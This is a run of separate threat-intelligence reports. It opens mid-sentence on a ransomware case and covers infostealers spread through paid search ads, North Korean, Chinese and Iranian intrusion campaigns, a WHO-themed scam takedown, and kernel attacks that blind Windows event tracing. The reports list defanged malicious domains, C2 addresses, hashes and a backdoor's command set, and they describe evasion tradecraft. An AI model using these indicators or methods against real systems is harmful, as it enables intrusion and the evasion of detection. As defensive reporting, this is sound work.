$1 million US) for all files, and varying rates for individual files by type. ## Pyrrhic Victories After over 6 months dwell time on the victim’s network, the attack had finally been sprung. Unfortunately for the Memento actors, all that extra work did not pay off as planned. The victim did not negotiate with the ransomware actors. Thanks to backups, the targeted organization was able to restore most of their data and return to somewhat normal operations. Additionally, for systems that were running InterceptX, the endpoint detection and response system logged the commands used by the attack to archive files—along with the unencrypted passwords for the files. SophosLabs and Sophos Rapid Response were able to recover select files for the victim and provide a method for recovering any files not backed up. Having effective backups of network data is critical to recovery from a ransomware attack. Unfortunately, the target’s exfiltrated data is still in play. And that could have long-term ramifications for the company. We believe that the long dwell time by the ransomware actor was in part because they didn’t have ransomware ready to drop at the time of the initial compromise. By keeping a low profile, modifying timestamps on files, and wiping logs of telltale signs of compromise, they were able to evade detection for an extremely long time and fully explore the network. The extent to which RDP services were enabled throughout the network made hands-on-keyboard lateral movement throughout the network much easier, further reducing the signature of their intrusion. The extent to which one unpatched server exposed to the Internet by a misconfigured firewall could be used by multiple malicious actors to exploit the server (and in the case of the ransomware operator, the entire network) offers further emphasis on the urgency of applying vendors’ security patches. At the time of the initial compromise, the vCenter vulnerability had been public for nearly two months, and it remained exploitable up to the day the server was encrypted by the ransomware attackers. Unfortunately, smaller organizations often lack the staff expertise or time required to stay on top of new vulnerability patches outside those automatically deployed by Microsoft. Many organizations are unaware of the degree of risk associated with software platforms they use that may have been installed by a third-party integrator, contract developer, or service provider. A full list of the IOCs for the Memento attack and the miner attacks from this incident is available on SophosLabs’ GitHub page. **Correction:** This report originally noted the deployment of SOTI remote control software as part of the ransomware attack. Further analysis revealed this was an unrelated remote control software deployment by an administrator that had not been shared with Sophos’ Rapid Response team. SophosLabs would like to acknowledge Vikas Singh, Robert Weiland, Elida Leite, Kyle Link, Ratul Ghosh, Harinder Bhathal, and Sergio Bestuilic of Sophos MTR’s Rapid Response team, and Ferenc László Nagy, Rahul Dugar, Nirav Parekh, and Gabor Szappanos of SophosLabs for their contributions to this report.
# Google PPC Ads Deliver Redline, Taurus, and Mini-Redline Infostealers In the past month, Morphisec has investigated the origin of several increasingly prevalent infostealers. These include Redline, Taurus, Tesla, and Amadey. As part of our research, we identified pay-per-click (PPC) ads in Google’s search results that lead to downloads of malicious AnyDesk, Dropbox, and Telegram packages wrapped as ISO images. The PPC ads targeted specific IP ranges in the US and probably some other countries. Non-targeted IPs are redirected to legitimate pages that download the correct applications. The advertisements being on the first page indicates the need for constant vigilance on all levels. Adversaries will clearly take all opportunities possible to target their chosen victims, even going so far as to use legitimate services such as Google Adwords. In this threat post, we will go through three attack chains that lead to Redline, Taurus, and a new mini-Redline infostealer compromise. We will focus on two adversaries because of similarities in patterns, certificates, and C2s. The first adversary leverages Redline, and the second uses Taurus and mini-Redline. We will cover Amadey in a separate blog post. ## Technical Introduction All of these attack chains start with one of a dozen paid Google ads that lead to a website with an ISO image download. The ISO image size is larger than 100MB, which allows the image to evade some scanning solutions that are optimized on throughput and size. Mounting the ISO image leads to executables that are usually, but not always, digitally signed and legitimately verified. **Adversary One** delivers the Redline infostealer. .Net executables are obfuscated with known obfuscators such as DeepSea, which leads to a custom obfuscated .Net DLL loader that eventually leads to a custom obfuscated Redline stealer .Net executable. **Adversary Two** delivers Taurus and a mini-Redline infostealer. Taurus AutoIt - 7fx executables that recreate and execute a legitimate AutoIt compiler with a malicious AutoIt script and a malicious encrypted Taurus executable that will be hollowed into the AutoIt process. Mini-Redline - A minimized .Net version of the Redline stealer with some common functionality for stealing data from browsers. It features different configuration and communication patterns wrapped in four layers of obfuscation. ## Redline Infostealer A simple search for “anydesk download” leads to three pay-per-click Google ads. All three lead to malicious infostealers. The first two advertisements lead to a Redline stealer, while the third one leads to the Taurus infostealer. The Redline infostealer websites are signed by a Sectigo certificate. Double-clicking the download button on any of the websites will lead to a script execution that verifies the IP and delivers the artifacts from one remote website “hxxps://desklop.pc-whatisapp[.]com/”. The artifacts are updated and re-uploaded to the website every couple of days. As mentioned before, every ISO file includes a very small .Net executable. In some cases, this executable is also digitally signed. The first layer of the executable is obfuscated with DeepSea. The second layer is actually a custom obfuscated .Net DLL that executes in memory. Finally, the third layer is the well-known Redline infostealer. It communicates back with jasafodidei[.]xyz:80. As the infostealer is well covered by other researchers, we decided to end with a snapshot showing the variety of databases this infostealer targets. Surprisingly, this infostealer targets browsers that are also used in Russian-speaking countries. ## Taurus Infostealer The Taurus infostealer is delivered in a similar way and appears as the third paid ad in a search for the popular applications mentioned in the introduction. This time the website is signed with a legitimate Cloudflare certificate. Like the Sectigo certificate used with Redline, the Taurus certificate is not older than two weeks. In the Taurus case, we did not see any redirects to additional websites. The download results from a submitted form that is handled by “get.php” and in turn delivers the ISO image directly from the website. If the target is not within the range of interesting IP addresses, users will see a normal redirect to the legitimate application website like in the Redline infostealer. The downloaded ISO image consists of a 7z SFX executable. The executable includes either four “flv” or four “bmp” files in the examples we cover below. SFX is configured to start the execution from the first batch file (masquerading as either flv, bmp, or any other unique extension). The batch script is then redirected as input into cmd.exe. This batch script is well documented. It is responsible for the re-creation of the legitimate AutoIt compiler (Ali.exe.com or the Dio.exe.com in the examples above) and the execution of the malicious AutoIt script (Pramide.flv or the Debbano.bmp). Through the re-created compiler, it will fail to execute upon detection of a known sandbox provider. A VirusTotal search for additional 7z SFX archives with a similar evasion will lead to more than 400 different files uploaded in the past month. The AutoIt script supports both 32 and 64-bit processes (slightly deobfuscated). It also implements persistence through a URL link directly in the startup folder. The link executes Javascript from a hidden folder under roaming (use attrib -H to unhide). As in the previous batch file execution, the Javascript file executes the AutoIt compiler with the copied Taurus AutoIt script. ## Mini-Redline Infostealer As with the Taurus campaign, the advertisement websites that lead to the mini-Redline infostealer are also signed with Cloudflare certificates. The file inside the ISO is also padded with zeros to increase the size of the file for evasion purposes. The executable is a .Net assembly with an unknown obfuscation pattern; dynamic unpacking of the assembly reveals four layers of obfuscation and hollowing. The first layer leads to some known stealing functionalities. An initial static look at the file is reminiscent of Redline; not surprisingly, a VT scan for the unpacked file shows that it will confuse even the biggest security vendors. The method and strings implemented as part of the Chrome credential theft are almost identical. In both cases, the databases are copied to a temporary location before being decrypted, using similar methods and class names to do so even though the number of targeted browsers is minimal. Nevertheless, the communication pattern is different. Mini-Redline uses a direct TCP socket connection. Some of the anti-debugging functionalities include “DebuggerHidden” attributes and virtualization detection. ## Conclusion Adversaries will use any method possible to gather targets, even paying Google top dollar for their paid search results to surface a malicious website as a top search result. This inventiveness on the part of threat actors means that organizations need to be constantly vigilant in all aspects of their operations. There’s no telling when an adversary will set up a website with a signed, legitimate certificate designed to mislead website visitors. Threat actors are even clearly willing to pay substantial sums of money to target possible victims. Google Adwords data between May 2020 and April 2021 shows a bid price of between $0.42 and $3.97 for the two keywords “anydesk” and “anydesk download.” Assuming a click-through rate of 1,000 people, this could result in fees anywhere from $420 to $3,970 for even a small campaign that targets the United States, for example. Thankfully, Morphisec customers are protected against these infostealers through our zero trust at execution technology powered by moving target defense. ### URLs **Redline Infostealer** - hxxps://me.anydesk-pro[.]com/ - hxxps://desklop.telegram-home[.]com/ - hxxps://pc.anydesk-go[.]com/ - hxxps://desklop.anydesk-new[.]com/ - hxxps://desklop.pc-whatisapp[.]com/ **Taurus and Mini-Redline Infostealer** - hxxps://anydesk-en-downloads[.]com/ - hxxps://anydesk-one[.]com/ - hxxps://anydesk-top[.]com/ - hxxps://anydesk-connect[.]com/ - hxxps://anydesk-vip[.]com/ **C2 - Redline Infostealer** - jasafodidei[.]xyz:80 **ISO - Redline Infostealer zip files** - C249E79B05D3385A50BD0D54881B59BD - 76118B65F29856DB2ABECD1193D08CF1 **ISO - Taurus** - 476A504DB16C7E6972775B1160B4631C - F0EF3E84F172C8E869088F1FCF933B07 - 7DAB7515FC7C795A2AD2BD8D22F36A14 **ISO - Mini-Redline** - 7B91DF7AF3BC0CFACFF46DB883BA784D **Taurus and Mini-Redline C2** - 109.234.37[.]201:15647
# NOWHERE TO HIDE ## 2020 THREAT HUNTING REPORT ### INTRODUCTION Falcon OverWatch™ is the CrowdStrike® managed threat hunting service built on the CrowdStrike Falcon® platform. OverWatch provides deep and continuous human analysis on a 24/7 basis to relentlessly hunt for anomalous or novel attacker tradecraft designed to evade other detection techniques. OverWatch comprises an elite team of cross-disciplinary specialists that harness the massive power of the CrowdStrike Threat Graph®, enriched with CrowdStrike threat intelligence, to continuously hunt, investigate, and advise on sophisticated threat activity in customer environments. Armed with cloud-scale telemetry of over 3 trillion endpoint events collected per week, and detailed tradecraft on 140 adversary groups, OverWatch has the unparalleled ability to see and stop the most sophisticated threats, leaving adversaries with nowhere to hide. This report provides a summary of OverWatch’s threat hunting findings from the first half of 2020. It reviews intrusion trends during that time frame, provides insights into the current landscape of adversary tactics, and delivers highlights of notable intrusions OverWatch identified. The report’s findings relate to the targeted and interactive intrusions that OverWatch tracks and are not necessarily representative of the full spectrum of attacks that are stopped by the Falcon platform. ### OVERWATCH SEARCH HUNTING METHODOLOGY OverWatch threat hunting exists with the express purpose of finding threats that technology on its own cannot. For the first time, this report is pulling back the curtain to reveal the methodology that sits behind the human-driven search engine that is Falcon OverWatch. Working around the clock, the OverWatch team employs the “SEARCH” hunting methodology to detect threats at scale. Using SEARCH, OverWatch threat hunters methodically sift through a world of unknown unknowns to find the faintest traces of malicious activity and deliver actionable analysis to CrowdStrike customers in near real time. The OverWatch SEARCH methodology shines a light into the darkest corners of customers’ environments — leaving adversaries with nowhere to hide. ### INTRUSION CAMPAIGN SUMMARY In the first half of 2020, there was a sharp rise in cyber activity tracked by OverWatch. OverWatch observed more hands-on-keyboard intrusions than were seen throughout all of 2019. This increase appears to be driven predominantly by the continued acceleration of eCrime activity. However, the rapid adoption of remote work practices and the accelerated setup of new infrastructure by many companies — driven by the COVID-19 pandemic — also contributed to an ever-increasing attack surface for motivated adversaries. Additionally, the pandemic created opportunities for adversaries to exploit public fear through the use of COVID-19-themed social engineering strategies. In 2020, eCrime continues to dominate the intrusions uncovered by OverWatch threat hunters. The increase in sophisticated eCrime activity relative to state-sponsored activity is a trend that OverWatch has seen accelerate over the last three years. Last year’s OverWatch mid-year report revealed that for the first time, the frequency of eCrime activity surpassed state-sponsored activity. In the first half of 2020, eCrime activity well and truly outpaced state-sponsored activity, making up 82% of interactive intrusions observed by OverWatch. ### INTRUSION HIGHLIGHTS #### HUNTING THWARTS LABYRINTH CHOLLIMA ATTACK LAUNCHED OVER SOCIAL MEDIA In June 2020, OverWatch hunting uncovered a notable attack against a North American agriculture company. A phishing lure led to the installation of a malicious loader, which provided access for a hands-on operator to perform various discovery commands on the target system. CrowdStrike Intelligence attributed the activity to the North Korea-based adversary group LABYRINTH CHOLLIMA. OverWatch identified suspicious behavior within this agriculture company’s network when an unusual rundll32.exe command was executed under a Microsoft Word process. A suspicious dynamic link library (DLL) file named desktop.dat, masquerading as a .dat file, was loaded into memory in an unusual manner. Shortly thereafter, OverWatch hunters observed several interactive command shells spawned under the rundll32.exe process responsible for executing the DLL. Further analysis of the attack uncovered evidence that the attack began when a user unwittingly opened a weaponized Microsoft Word document. The adversary, posing as a job recruiter, used various social media channels and applications to facilitate delivery of the phishing lure. The macro displayed a spoofed English-language decoy job description for a Senior Manager position on the finance team at a legitimate entertainment company. CrowdStrike Intelligence assesses with high confidence that this operation is attributable to LABYRINTH CHOLLIMA based on the deployment of NedDnLoader — malware exclusive to this adversary — as well as the use of job description lure documents. #### PANDA ABUSES GITHUB SERVICE FOR COVERT C2 In June 2020, Falcon OverWatch uncovered targeted intrusion activity against an organization operating within the healthcare industry in the Asia-Pacific region. The malicious activity shared a strong overlap with TTPs previously observed in targeted intrusions against healthcare organizations throughout Southeast Asia, and the TTPs observed are consistent with China-based adversaries. Initial malicious activity included the attempted execution of China Chopper — a web shell commonly used by China-nexus threat actors — beneath a likely exploited Apache web server process on a Windows-based host. Notably, the actor’s use of a novel Python-based remote access tool (RAT) masquerading as a legitimate Windows system process leveraged a public GitHub repository for covert C2 communications. ### CONCLUSION In the first half of 2020, OverWatch witnessed a surge in interactive intrusions driven predominantly by eCrime activity. The escalation of criminally motivated intrusions is the continuation of a trend reported by CrowdStrike in late 2019, likely exacerbated by the rapid adoption of work-from-home practices and the resultant setup of new infrastructure that contributed to an expanded attack surface. OverWatch threat hunting data revealed a significant spike in malicious activity impacting the manufacturing sector attributed to both eCrime and state-sponsored activity. The cyber threat landscape is intrinsically linked to global economic forces and has not escaped the upheaval caused by the COVID-19 pandemic. ### RECOMMENDATIONS - Roll it out! Turn it on! It is crucial to have comprehensive security countermeasures and to enable the prevention capabilities in the products you use. - Invest in expert human threat hunting. Continuous threat hunting is the best way to detect and prevent sophisticated or persistent attacks. - Practice good hygiene. Establish control over the software running in your environment and eliminate unneeded software. - Protect your identity. Establish and enforce strong password policies and routinely monitor authentication logs. - Enlist your users in the fight. Well-trained staff can be an asset in combating the continued threat of phishing and related social engineering techniques. ### ABOUT CROWDSTRIKE CrowdStrike® Inc. (Nasdaq: CRWD), a global cybersecurity leader, is redefining security for the cloud era with an endpoint protection platform built from the ground up to stop breaches. The CrowdStrike Falcon® platform’s single lightweight-agent architecture leverages cloud-scale artificial intelligence (AI) and offers real-time protection and visibility across the enterprise, preventing attacks on endpoints on or off the network. With CrowdStrike, customers benefit from better protection, better performance, and immediate time-to-value delivered by the cloud-native Falcon platform. There’s only one thing to remember about CrowdStrike: We stop breaches.
# 攻撃キャンペーン「Operation Bitter Biscuit」 ## 高井 一自己紹介 - 元ソフトウェアエンジニア - 3年前、NTTセキュリティ・ジャパンに転職し、セキュリティエンジニアに転身 - SOCアナリスト - 24時間365日の監視業務 - セキュリティデバイスのアラート監視 - マルウェア解析 - Taidoorを用いた標的型攻撃解析レポート ## 発表内容 - 攻撃キャンペーン「Operation Bitter Biscuit」の概要 - SOCで観測した標的型攻撃の解析結果 - メールからバックドア感染までの解析結果 - バックドアを用いた攻撃者の活動の解析結果 - マルウェアBisonalの亜種間の比較 - まとめ ## 攻撃キャンペーン「Operation Bitter Biscuit」の概要 Operation Bitter Biscuitは攻撃キャンペーンを表しており、セキュリティベンダー各社から情報が公開されている。 ### Operation Bitter Biscuitの特徴 - 標的国: 韓国、ロシア、日本 - 標的業種: 政府関係、軍事・国防関連企業(IT企業も攻撃されたという情報有り) - マルウェア: Bisonal Operation Bitter Biscuitに関する脅威情報 - 日本に対する攻撃事例が少ない。 - 攻撃に利用されるメールやマルウェア等の報告は存在するが、感染後の攻撃者による活動に関する報告が少ない。 ## SOCで観測した標的型攻撃の解析結果 ### メールからバックドア感染までの解析結果 端末がメールを起点に3つのバックドアに感染した。 1. ユーザーが解凍 2. ドロッパーを起動 - ドロッパー (word.wll) - 1次バックドア (csrcc.exe) - 2次バックドア (Acrobat.exe) - 3次バックドア (conime.exe) ## 標的型攻撃メール 非公開 ### 標的型攻撃メールに添付された圧縮ファイル 下記が悪用されて、圧縮ファイル内のドロッパーが起動した。 - CVE-2018-20250: WinRarに存在する任意のパスにファイルを設置される脆弱性 - Wordのアドインフォルダ: Word起動時に実行されるファイルの設置フォルダ ## ドロッパー (word.wll)の解析結果 - 検体に含まれる1次バックドアのバイナリデータをファイルとして出力している。 - レジストリを用いて1次バックドアを永続化させている。 ## 1次バックドアのC&Cサーバーとの通信 C&Cサーバーから受信した命令に応じた処理を実行する。 ### 1次バックドアのコマンド一覧 これらのコマンドを用いて感染端末を操作された。 - c: ドライブ一覧の送信 - d: ファイル情報の送信 - e: ファイルのダウンロード - f: ファイルの実行 - g: ファイルの削除 - h: ファイルのアップロード - j: プロセス情報の送信 - l, m: コマンドの実行 (cmd.exe) - n: サービス情報の送信 - o: 端末情報の送信 ## 2次バックドアの正体 マルウェア「Bisonal」との共通点 - バックドアの機能を有している。 - 通信先やポート番号のエンコードに使用されるアルゴリズムが同一である。 ## 2次バックドアの特徴 C&Cサーバーとの通信はHTTPプロトコルを使用する。 ## 攻撃者の活動の解析結果 攻撃者の主な活動を時系列で示す。 - 9/27 11:50: 1次バックドア (csrcc.exe)の実行 - 9/27 11:55: 攻撃者からの応答を確認 - 9/27 12:32: ファイルサーバーからファイルの窃取 - 9/27 13:39: 2次バックドア (Acrobat.exe)のダウンロードと起動 - 9/27 13:51: 感染端末のブラウザ・メーラーのパスワードを窃取 - 9/27 13:56: 感染端末のOSアカウントのパスワードを窃取 - 9/27 14:26: ADにマルウェアBisonalが設置される - 9/27 18:04: 3次バックドア (conime.exe)のダウンロードと起動 - 9/27 21:47: バックドアのプロセスが終了し、攻撃者からの通信が途絶える ## 攻撃の対策 - EDR等でOfficeのアドインフォルダを監視する。 - 1次バックドアの通信を検知するネットワークシグネチャを適用する。 - Bisonalの通信先として知られているドメインやIPを遮断する。 - OSやインストール済みソフトウェアを最新バージョンに更新する。 ## マルウェア「Bisonal」亜種間の比較 目的 - 今回使用されたBisonalの特徴を調べる。 調査対象 - 特徴的なエンコードを用いてる検体 比較する観点 - 通信プロトコル - コマンド数 - 通信先やポート番号のエンコード - C&Cサーバーとの通信の暗号化 ## まとめ - 囮環境による観測 - 一般的な企業を模擬した囮環境を利用することで、メールや一次検体だけでなく、その後の2次検体やバックドアによる攻撃者の活動を観測することに成功した。 - 攻撃者の推定 - Operation Bitter Biscuitの犯行グループが今回の攻撃者と推定される。 - Operation Bitter Biscuitが使う新たな攻撃手法 - CVE-2018-20250とWordのアドインフォルダを悪用した手法 - 類似検体が見つかっていないバックドア (1次バックドア) - 感染端末のOSアカウント・ブラウザ・メーラーのパスワードを窃取するツール - MS17-010を利用したツール - マルウェアBisonalの亜種間の比較 - カスタムされたRC4で通信を暗号化するマルウェアBisonalが今後使用される可能性がある。 ## IOC -観測したバックドア - csrcc.exe: AD3ADC82DB44B1655A921E5FDD0CBB40 - Acrobat.exe: F10EE63E777617DEF660D6CA881A7CFF - conime.exe: 46C3DBF662B827D898C593CA22F50231 ## IOC -バックドアから実行されたツール - getwebpass.exe: E0C5A23FB845B5089C8527C3FA55082F - conhost.exe: 802312F75C4E4214EB7A638AECC48741 - checkers.exe: 96C2D3AF9E3C2216CD9C9342F82E6CF9 - tools.exe: 56DF97AE98AAB8200801C3100BC31D26 - s.exe: E533247F71AA1C28E89803D6FE61EE58 ## IOC -Bisonalの亜種間の比較 - 0B24FFFCE8A5DEF63214DBE04AB05BB1 - 1B31C41B3DC1E31C56946B8FD8AE8A1A - 1C2B058A55434F6C9066B493FE8024CE - 3008AC3CCD5D9DF590878F2893CF8477 - 3BFCC37FA750BF6FF4A2217A3970BBAF - 423262F84FCD3E6EEEB6E9898991AC69 - 46C3DBF662B827D898C593CA22F50231 - 54E3237ECE37203723F36400963E2DA2 - 5DAB4EADE11006D7D81A3F0FD8FE050F - 6E9491D40225995E59194AE70F174226 - 6F7FAF801464E2858CE6328EAD6887AB - 775A4A957AED69C0A907756793DCEC4B - 8A9B594A1DA07E7309C9A3613356E5C7 - 95F941B8D393C515771B1EEBC583FC20 - 9A484560846BE80D34C70EFE44069C1A - AA3E738F0A1271C2DC13722B0C2B5D19
# Iranian Hackers Behind the Magic Hound Campaign Linked to Shamoon **February 16, 2017** By Pierluigi Paganini Security researchers discovered a cyber espionage operation dubbed the Magic Hound campaign that is linked to Iran and the recent Shamoon 2 attacks. Security experts at Palo Alto Networks have identified a new cyber espionage campaign targeting several organizations in the Middle East. The Magic Hound campaign dates back to at least mid-2016, with hackers focusing on organizations in the energy, government, and technology sectors, particularly those with interests in Saudi Arabia. The attackers leverage a wide range of custom tools and an open-source cross-platform remote access tool (RAT) called Pupy. According to the developer, PupyRAT is a “multi-platform (Windows, Linux, OSX, Android), multi-function RAT and post-exploitation tool mainly written in Python.” CTU™ analysis confirms that PupyRAT can provide the threat actor full access to the victim’s system. The arsenal of the threat actor includes various custom tools such as droppers, downloaders, executable loaders, document loaders, and IRC bots. “Unit 42 has discovered a persistent attack campaign operating primarily in the Middle East dating back to at least mid-2016 which we have named Magic Hound. This appears to be an attack campaign focused on espionage. Based upon our visibility, it has primarily targeted organizations in the energy, government, and technology sectors that are either in or have business interests in Saudi Arabia,” reads the analysis published by Palo Alto Networks. Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called “Rocket Kitten” (also known as Operation Saffron Rose, Ajax Security Team, Operation Woolen-Goldfish) as well as an older attack campaign called Newscasters. The same campaign was also monitored by experts at SecureWorks, who attributed it to a threat actor tracked as COBALT GYPSY, associated with the Iranian government. The attackers behind the Magic Hound used Word and Excel documents embedding malicious macros that could download and execute additional tools using PowerShell. The bait files appeared to be holiday greeting cards, job offers, and official government documents from the Ministry of Health and the Ministry of Commerce in Saudi Arabia. An interesting discovery made by the experts is that some of the domains used in the Magic Hound campaign were also uncovered by IBM X-Force researchers in the analysis of the Shamoon 2 attack chain. According to the experts at Palo Alto Networks, an IRC bot used in the Magic Hound campaign is very similar to a piece of malware used by Newscaster, also known as Charming Kitten and NewsBeef, an Iranian actor that targeted individuals in the U.S., Israel, and other countries using fake social media profiles. Iranian hackers appear very active during this period, with both Charming Kitten and Rocket Kitten actors mentioned in an analysis of MacDownloader used to exfiltrate data from Mac computers.
# Saving World Health Day: UNICC and Group-IB Take Down Scam Campaign Impersonating the World Health Organization Maria Thomsen 29 April, 2021 UNICC, together with Group-IB, a global threat hunting and adversary-centric cyber intelligence company that specializes in investigating high-tech cybercrimes, detected and took down a massive multistage scam campaign circulating online on April 7, World Health Day. Scammers created a distributed network of 134 rogue websites impersonating the World Health Organization (WHO) on its health awareness day, encouraging users to take a fake survey with a promise of funds in return. The scheme targeted millions of users around the world with the goal of tricking them into visiting fraudulent third-party websites. Group-IB Digital Risk Protection Team detected the campaign and reached out to UNICC’s Common Secure team as a trusted contact for cyber threat intelligence matters within the UN to assure that competent contacts with WHO are aware of its existence. Group-IB Digital Risk Protection Team performed the takedown of all the scam domains. Group-IB researchers established that one scammer collective, codenamed DarkPath Scammers, is likely to be behind the campaign. The investigation is underway. ## Cyber-hygiene for the Sustainable Development Goals UNICC works with the World Health Organization and many other UN Agencies to deliver on their mandates, represented by the Sustainable Development Goals, a collection of 17 interlinked global goals designed to be a blueprint to achieve a better and more sustainable future for all. Whether it’s health, eradication of poverty or hunger, rights for women and girls, actions to take on climate change, economic justice, sustainable cities and communities, or for peace and justice around the world, UNICC provides digital business solutions, including a threat intelligence network for over 30 UN Agencies and international organizations. > “After warning us, we knew Group-IB was the team to deal with this World Health Day scam. They have the expertise and tools to get the job of takedown done, in short order.” > — Bojan Simetic, Information Security Specialist, UNICC > “We are excited to cooperate with UNICC in the detection and elimination of scams deceiving people into thinking they are dealing with legitimate websites.” > — Dmitry Tyunkin, Head of Group-IB Digital Risk Protection Team ## Detecting the Scam On April 7, Group-IB alerted UNICC about a fake website impersonating WHO branding, where users were encouraged to answer a few simple questions to earn a 200 Euro reward on the occasion of World Health Day. Once users answered questions, they were prompted to share links with their WhatsApp contacts. This way scammers tried to ensure the viral distribution of their multistage schema. Group-IB researchers discovered that users would see several fake Facebook comments about gifts commentators supposedly received. When they then hit the Share button, they would unknowingly involve friends in the scam by sharing the link with them – instead of the promised reward – with a redirect to third-party fraudulent resources offering participation in another lucky draw. By this time in the scam routine, WHO is no longer mentioned as users would visit a hookup website, inadvertently install an extension for their browsers, or subscribe for paid services. In the worst-case scenario, users would end up on a malicious or phishing website. In addition to the multi-stage nature of the scam, which makes it harder to detect, victims saw customized content depending on their geolocation, user agents, and language settings. For example, the currency of the reward would change depending on user location. ## What the Scam Looked Like Group-IB Digital Risk Protection team discovered that it was not a one-off, short-lived website impersonating the WHO brand, but rather a sophisticated distributed scam infrastructure that included a network of 134 almost-identical, connected domains hosting web pages exploiting the World Health Day theme. Within 48 hours upon discovery, Group-IB managed to block all the rogue domains. Further investigation found that the 134 domains, identified and blocked by Group-IB, are part of a larger scam network, attributed to a single scammer collective. Group-IB researchers discovered connections between the blocked 134 websites involved in the WHO scam and at least 500 other scam and phishing resources impersonating more than 50 well-known international food, sportswear, e-commerce, software, automotive, and energy industry brands. The analysis of websites revealed that cybercriminals used scam kits, similar to phishing kits, which are sets of instruments for the creation and design of scam pages. One scam kit allows impersonating multiple brands at a time using the same template. Interestingly, after the takedown efforts by UNICC and Group-IB, the scammers stopped using the WHO branding across their whole network. ## Scam Syndicate During the infrastructure analysis, Group-IB researchers examined the domains and other digital indicators and concluded that the whole network is likely to be maintained and controlled by a scammer collective codenamed DarkPath Scammers. Most of the domains with phishing and scam content are using CDNs (Content Delivery Networks) to hide IP addresses of the real servers. Thanks to its proprietary Graph Analysis system, Group-IB researchers analyzed dozens of SSL certificates, SSH keys, and DNS and were able to track down malicious infrastructure, unveil the IP addresses of the real servers where phishing content was stored, and connect the domains into one distributed scam network. The scammers are using the same infrastructure configuration with its own traits and misconfigurations across all their servers. Group-IB continues to monitor the scammers’ activity. Most of the scam websites controlled by DarkPath Scammers remain active at the moment and keep targeting millions of users around the world. The scammers advertise their resources using email blasts, paid ads, and in social media. According to Group-IB estimates, the scammers’ whole network attracts around 200,000 users daily from the US, India, Russia, and other locations. Dmitry Tyunkin, Head of Group-IB Digital Risk Protection team in Amsterdam, noted that “many brands, however, still underestimate the impact of such scams on their businesses and customers. Most organizational approaches to eliminating brand abuse online seem a lot like tilting at windmills. They miss this continuous trend toward the use of multistage scams and distributed infrastructure. Scammers use smart, advanced technologies. They are successful due to the lack of comprehensive digital asset monitoring by brand owners.” Organizations should carry out seamless online monitoring to promptly detect any cases of illicit use of their brands. Many institutions monitor only separate brand infringements, like phishing pages and domains, but overlook other elements of fraudulent infrastructure. To see the comprehensive picture of all brand violations, companies should use Group-IB Digital Risk Protection solutions that will promptly eliminate all brand infringements online on a pre-trial basis without additional investment and lengthy litigation. To avoid falling prey to this scheme, online users should carefully check the website they are interacting with. It is never redundant to check if the link you’re going to click on is identical to the domain of the organization’s official website since fraudsters often register domain names mimicking official ones. Stay suspicious of any website on which you plan to enter your data; this habit must be developed by everyone willing to keep their money safe.
# Direct Kernel Object Manipulation (DKOM) Attacks on ETW Providers ## Overview In this post, IBM Security X-Force Red offensive hackers analyze how attackers, with elevated privileges, can use their access to stage Windows Kernel post-exploitation capabilities. Over the last few years, public accounts have increasingly shown that less sophisticated attackers are using this technique to achieve their objectives. It is therefore important that we put a spotlight on this capability and learn more about its potential impact. Specifically, in this post, we will evaluate how Kernel post-exploitation can be used to blind ETW sensors and tie that back to malware samples identified in-the-wild last year. ## Intro Over time, security mitigations and detection telemetry on Windows have improved substantially. When these capabilities are combined with well-configured Endpoint Detection & Response (EDR) solutions, they can represent a non-trivial barrier to post-exploitation. Attackers face a constant cost to develop and iterate on tactics, techniques, and procedures (TTPs) to avoid detection heuristics. On the Adversary Simulation team at IBM Security X-Force, we face this same issue. Our team is tasked with simulating advanced threat capabilities in some of the largest and most hardened environments. The combination of complex fine-tuned security solutions and well-trained Security Operations Center (SOC) teams can be very taxing on tradecraft. In some cases, the use of a specific TTP is made completely obsolete in the span of three to four months (usually tied to specific technology stacks). Attackers may choose to leverage code execution in the Windows Kernel to tamper with some of these protections or to avoid a number of user-land sensors entirely. The first published demonstration of such a capability was in 1999 in Phrack Magazine. In the intervening years, there have been a number of reported cases where Threat Actors (TAs) have used Kernel rootkits for post-exploitation. Some older examples include the Derusbi Family and the Lamberts Toolkit. Traditionally these types of capabilities have mostly been limited to advanced TAs. In recent years, however, we have seen more commodity attackers use Bring Your Own Vulnerable Driver (BYOVD) exploitation primitives to facilitate actions on endpoint. In some instances, these techniques have been quite primitive, limited to simple tasks, but there have also been more capable demonstrations. At the end of September 2022, researchers from ESET released a white-paper about such a Kernel capability used by the Lazarus TA in a number of attacks against entities in Belgium and the Netherlands for the purpose of data exfiltration. This paper lays out a number of Direct Kernel Object Manipulation (DKOM) primitives that the payload uses to blind OS / AV / EDR telemetry. The available public research on these techniques is sparse. Gaining a more thorough understanding of Kernel post-exploitation tradecraft is critical for defense. A classic, naïve argument often heard is that an attacker with elevated privileges can do anything so why should we model capabilities in that scenario? This is a weak stance. Defenders need to understand what capabilities an attacker has when they are elevated, which data sources remain reliable (and which don’t), what containment options exist, and how advanced techniques could be detected (even if capabilities to perform those detections don’t exist). In this post, I will focus specifically on patching Kernel Event Tracing for Windows (ETW) structures to render providers either ineffective or inoperable. I will provide some background on this technique, analyze how an attacker may manipulate Kernel ETW structures, and get into some of the mechanics of finding these structures. Finally, I will review how this technique was implemented by Lazarus in their payload. ## ETW DKOM ETW is a high-speed tracing facility built into the Windows operating system. It enables logging of events and system activities by applications, drivers, and the operating system, providing detailed visibility into system behavior for debugging, performance analysis, and security diagnostics. In this section, I will give a high-level overview of Kernel ETW and its associated attack surface. This will be helpful to have a better understanding of the mechanics involved in manipulating ETW providers and the associated effects of those manipulations. ### Kernel ETW Attack Surface Researchers from Binarly gave a talk at BHEU 2021, which discussed the general attack surface of ETW on Windows. An overview of the threat model is pictured below. This post considers only attacks within the first attack category shown in the referenced figure, where tracing is either disabled or altered in some way. As a cautionary note, when considering opaque structures on Windows it is always important to remember that these are subject to change, and in fact frequently do change across Windows versions. This is especially important when clobbering Kernel data, as mistakes will likely result in a Blue Screen of Death (BSoD). ### Initialization Kernel providers are registered using `nt!EtwRegister`, a function exported by `ntoskrnl`. A decompiled version of the function can be seen below. Full initialization happens within the inner `EtwpRegisterKMProvider` function but there are two main takeaways here: - The ProviderId is a pointer to a 16-byte GUID. This GUID is static across operating systems so it can be used to identify the provider that is being initialized. - The RegHandle is a memory address that receives a pointer to an `_ETW_REG_ENTRY` structure on a successful call. This data structure and some of its nested properties provide avenues to manipulate the ETW provider as per the research from Binarly. Let’s briefly list out the structures that Binarly highlighted. #### ETW_REG_ENTRY A full 64-bit listing of the `_ETW_REG_ENTRY` structure is shown below. Added details are available on Geoff 